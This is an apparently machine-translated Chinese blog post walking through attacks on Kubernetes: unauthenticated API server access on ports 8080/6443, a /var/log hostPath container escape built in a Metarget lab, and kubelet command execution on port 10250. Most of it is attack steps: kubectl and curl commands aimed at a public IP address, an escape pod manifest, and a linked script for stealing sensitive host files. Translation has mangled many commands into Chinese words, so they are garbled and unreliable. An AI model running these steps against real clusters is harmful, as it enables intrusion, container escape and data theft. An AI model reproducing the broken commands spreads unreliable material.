发布于12月5日12月5日 其未授权主要包括以下几种: - API服务器,默认端口为8080、6443 - kubelet,默认端口为10250 - etcd,默认端口为2379 - 仪表板泄漏 ## 1. API Server 8080/6443 未授权访问 K8s的API Server默认的服务端口是8080(不安全端口)和6443(安全端口)。 8080端口提供HTTP服务,无认证授权机制;6443端口提供HTTPS服务,支持认证(使用token或客户端证书进行认证)和授权服务。默认情况下,8080 端口未启用,6443 端口已启用。这两个端口的开放取决于/etc/kubernetes/manifests/kube-apiserver.yaml 配置文件。 如果目标K8s的8080端口开放,由于没有认证授权机制,会出现非法访问的情况。 如果目标K8s的6443端口开放,如果配置不正确,也可能导致越权访问。 ### 漏洞重现 #### 1.端口8080 ```` 默认情况下8080端口是关闭的,需要手动打开。 vim /etc/kubernetes/manifests/kube-apiserver.yaml ```` ```` 重启k8s systemctl 重新启动kubectl `` 访问8080端口显示存在非法访问。 #### 2.端口6443 如果配置不当,将“system:anonymous”用户绑定到“cluster-admin”用户组将允许匿名用户以管理员权限访问端口6443。 正常情况下访问6443端口会提示Forbidden。 ```` 执行以下命令将“system:anonymous”用户绑定到“cluster-admin”用户组 kubectl 创建集群角色绑定cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous `` 了解这种未经授权的访问有什么好处呢?或者说我们应该如何使用它? **使用方法如下:** 我们可以使用任何安装了kubectl 的机器。简单来说,知道API服务器没有被授权,我们其实可以使用kubectl来执行命令: ```` 查看集群信息 kubectl -s http://101.26.108.16:8080 集群信息 `` ```` 查看节点信息和pod信息 kubectl -s http://101.36.108.16:8080 获取节点 kubectl -s http://101.36.108.16:8080 获取Pod `` ```` 查看节点和Pod 详细信息 kubectl -s http://101.36.108.16:8080 获取节点-o Wide kubectl -s http://101.36.108.16:8080 获取pod 描述pod escaper `` ```` 进入逃生者(这是一个可以逃脱的环境)并逃脱 kubectl -s http://101.36.108.16:8080 exec -n 默认-it 转义器-- /bin/bash ```` ###补充: #### K8s下通过挂载/var/log目录进行转义的原理主要是: 1. **自定义服务帐号**:首先通过**serviceAccountName**指定Pod中的自定义服务帐号。这意味着pod 将使用指定的服务帐户进行身份验证和授权。 2. **授予主机目录权限**:然后,使用**ClusterRole**和**ClusterRoleBinding**授予服务帐户访问主机**/var/log**目录的权限。 **ClusterRole** 和**ClusterRoleBinding** 是Kubernetes 中集群范围授权的机制。这意味着服务帐户现在具有对主机文件系统的特权访问权限。 3. **挂载主机目录**:接下来,在Pod 定义中,使用**hostPath** 类型的Volume 将主机的**/var/log** 目录挂载到Pod 中。 **hostPath** 允许将主机文件系统中的目录或文件挂载到Pod 中,这意味着Pod 现在可以访问主机上的**/var/log** 。 4. **访问主机日志文件**:由于服务帐号被授权访问主机目录,并且该目录已在Pod内部成功挂载,因此Pod中的进程可以通过挂载的路径访问主机日志文件。这可能包括日志文件中的敏感信息。 5. **容器逃逸**:这种情况最终达到了从Pod逃逸到宿主机的效果。这意味着恶意容器内的进程可以通过访问已安装的主机目录来执行危险操作。 这样就巧妙地利用了Kubernetes的RBAC、服务账户、卷挂载等机制,实现了直接访问主机文件系统的逃生方法。 1. **RBAC(基于角色的访问控制)**: - **角色**:角色定义了一组规则,指定在特定命名空间内允许执行哪些操作,例如创建、读取、更新或删除资源。角色通常与资源相关联,例如Pod、Services、ConfigMap 等。 - **RoleBinding**:角色绑定将角色绑定到用户、组或服务帐户,从而授予这些实体在特定命名空间内执行角色定义的操作的权限。 - **ClusterRole**:与角色类似,但范围更广,允许跨多个命名空间定义和使用全局权限。 - **ClusterRoleBinding**:与角色绑定类似,但用于将集群角色绑定到用户、组或服务帐户以授予全局权限。 RBAC 是Kubernetes 中授权和访问控制的核心机制,它允许您定义谁可以在集群中执行哪些操作。 2. **服务帐户**: - **ServiceAccount**:服务帐户是用于表示Pod 内应用程序身份的实体。每个Pod 都可以关联一个服务帐户,以便在与Kubernetes API 服务器交互时进行身份验证和授权。通过服务帐号,您可以指定应用程序的访问权限,控制应用程序对集群资源的访问。 3. **卷安装**: - **卷挂载**:在Kubernetes 中,卷挂载是一种将存储卷(Volume)附加到Pod 上的机制,以便容器可以访问该卷中的数据。这允许容器在不影响主机文件系统的情况下与数据交互,同时增强数据的持久性和可共享性。 - **卷**:卷是Kubernetes 中用于存储和共享数据的抽象。它可以是主机上的目录、网络存储、云存储或其他数据源。卷可以安装到一个或多个容器中,允许它们在其中读取和写入数据。 卷挂载和服务帐户通常用于解决应用程序需要访问共享存储或其他资源的情况,而RBAC 用于控制哪些用户、组或服务帐户可以执行哪些操作。这些机制共同有助于确保Kubernetes 中容器化应用程序的安全性和控制。通过正确配置RBAC角色和角色绑定、限制服务帐户的权限以及使用适当的卷挂载策略,您可以增强容器化应用程序的安全性并确保敏感数据不会被未经授权的实体访问。 满足条件: - 挂载/var/log - 容器处于k8s环境 - 当前pod的serviceaccount有get\\|list\\|watch log的权限 **实验环境** 美达云射击场 ```` 实验设置 git 克隆https://github.com/Metarget/metarget.git cd我的目标/ pip3 install -r 要求.txt ./metarget 小工具安装k8s --version 1.16.5 ./metarget cnv 安装挂载-var-log `` 至此,环境搭建完成。 (如果这期间因为各种错误而卡住,可以尝试国外或者香港服务器) 如果无法生成escaper,请手动修改metarget/vulns\\_cn/mounts/pods下的mount-var-log.yaml文件。其内容如下:(如果k8s是裸机构建的,也可以直接创建yaml文件,内容如下) ```` api版本: v1 kind: 服务帐户 元数据: name:记录器 --- apiVersion: rbac.authorization.k8s.io/v1 kind: 集群角色 元数据: name: 用户日志读取器 规则: - apiGroups: [\'\'] 资源: -节点/日志 verbs: [\'获取\'、\'列表\'、\'观看\'] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding 元数据: name: 用户日志读取器 角色Ref: apiGroup: rbac.authorization.k8s.io kind: 集群角色 name: 用户日志读取器 科目: - kind: 服务帐户 name:记录器 命名空间:默认值 --- api版本: v1 kind: 吊舱 元数据: name: 逃生者 规格: serviceAccountName: 记录器 容器: - name: 逃生者 image: danielsagi/kube-pod-escape 卷安装: - name: 日志 mountPath: /var/log/主机 卷: - name: 日志 主机路径: 路径: /var/log/ type: 目录 ```` ```` 使配置生效 kubectl apply -f 仪表板-svc-account.yaml `` **漏洞检测** ```` 前提是你在k8s环境下,执行以下指令 查找/-name lastlog 2/dev/null |厕所-l | grep -q 3 echo \'/var/log 已安装。\' || echo \'/var/log 未安装。\' `` 可以看出这里存在漏洞 **漏洞重现** ```` 查看并进入容器 kubectl getpods kubectl exec --stdin --tty escaper -- /bin/bash `` ```` 这里将/var/log目标挂载到/var/log/host并创建软链接 cd /var/log/主机 ln -s/./root_link `` 直接使用脚本一键窃取敏感文件[https://github.com/danielsagi/kube-pod-escape](https://github.com/danielsagi/kube-pod-escape) ```` chmod 777 find_sensitive_files.py python find_sensitive_files.py `` ####思考:渗透时如何判断自己是否处于k8s环境? ```` df -h 查看磁盘信息,出现k8s或kubernetes字样 df-h `` (这张图是别人的) ```` env 检查环境变量,出现k8s features字样 环境 `` (这张图是别人的) ## 2.kubelet 10250端口未授权 端口**10250** 是Kubernetes 集群中Kubelet 的默认端口。 Kubelet 是运行在Kubernetes 集群中每个节点上的主要“节点代理”,负责管理该节点上的容器和Pod。在没有TLS 身份验证的情况下,在某些默认配置中启用--anonymous-auth 并默认为true,允许匿名访问API。 直接访问会显示404 访问Pod 会显示未经授权的 修改/var/lib/kubelet/config.yaml的错误配置如下: ```` 接下来,重启kubelet,再次访问 systemctl 重新启动kubelet `` ```` 利用方式也是命令执行,与API Sever略有不同。 卷曲-XPOST -k \'https://${IP_ADDRESS}:10250/run///\' -d \'cmd=\' ```` 这三个参数是: 1.命名空间 2.吊舱 3.容器 可以在如图页面获取: ```` 现在我只需连接到我的另一台服务器并执行以下命令 卷曲-XPOST -k https://101.36.108.16:10250/run/kube-system/kube-scheduler-10-7-181-56/kube-scheduler -d \'cmd=ls\' ````
创建帐户或登录后发表意见